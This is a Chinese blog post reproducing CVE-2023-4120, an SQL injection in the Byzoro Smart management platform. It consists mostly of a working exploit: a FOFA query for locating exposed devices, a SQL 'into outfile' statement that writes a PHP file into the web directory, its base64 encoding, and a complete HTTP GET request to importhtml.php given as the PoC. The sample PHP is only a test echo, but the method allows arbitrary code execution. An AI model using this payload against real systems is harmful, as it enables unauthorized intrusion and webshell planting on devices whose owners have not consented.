[复现]百卓智能Smart__sql注入_CVE-2023-4120漏洞复现

柯达_

已于 2024-01-16 14:59:41 修改

阅读量514

点赞数 10

文章标签： sql 数据库

于 2024-01-16 10:00:00 首次发布

本文链接：https://blog.csdn.net/m0_64366018/article/details/135602512

版权

0x01 fofa语句

app="byzoro-Smart"

0x02 漏洞版本

Smart--管理平台

0x03 漏洞复现

测试php代码 > 0xHex编码 > 替换SQL写入文件内容 > 完整SQL语句base64编码 >替换sql传参值 > 访问执行

a

自定义sql语句

b

输入sql语句

select 0x3C3F706870206563686F2027A04356452D323032332D343132302074657374273B203F3E into outfile '/usr/hddocs/nsg/app/haha123.php'

base64编码后

c2VsZWN0IDB4M0MzRjcwNjg3MDIwNjU2MzY4NkYyMDI3Njg2MTY4NjEyQzc0Njg2OTczMjA2OTczMjA3NDY1NzM3NDIwNjY2OTZDNjUyNzNCM0YzRSBpbnRvIG91dGZpbGUgJy91c3IvaGRkb2NzL25zZy9hcHAvaGFoYTEyMy5waHAn

c

base64编码后直接使用payload

GET /importhtml.php?type=exporthtmlmail&tab=tb_RCtrlLog&sql=c2VsZWN0IDB4M0MzRjcwNjg3MDIwNjU2MzY4NkYyMDI3Njg2MTY4NjEyQzc0Njg2OTczMjA2OTczMjA3NDY1NzM3NDIwNjY2OTZDNjUyNzNCM0YzRSBpbnRvIG91dGZpbGUgJy91c3IvaGRkb2NzL25zZy9hcHAvaGFoYTEyMy5waHAn HTTP/1.1
Host: ip
Cookie: PHPSESSID=39efc8fe125ea1e7bd84ebbaa3ff6533
Sec-Ch-Ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

d

访问url

ip/app/haha123.php

0x04 poc

GET /importhtml.php?type=exporthtmlmail&tab=tb_RCtrlLog&sql=c2VsZWN0IDB4M0MzRjcwNjg3MDIwNjU2MzY4NkYyMDI3Njg2MTY4NjEyQzc0Njg2OTczMjA2OTczMjA3NDY1NzM3NDIwNjY2OTZDNjUyNzNCM0YzRSBpbnRvIG91dGZpbGUgJy91c3IvaGRkb2NzL25zZy9hcHAvaGFoYTEyMy5waHAn HTTP/1.1
Host: ip
Cookie: PHPSESSID=39efc8fe125ea1e7bd84ebbaa3ff6533
Sec-Ch-Ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

访问ip/app/haha123.php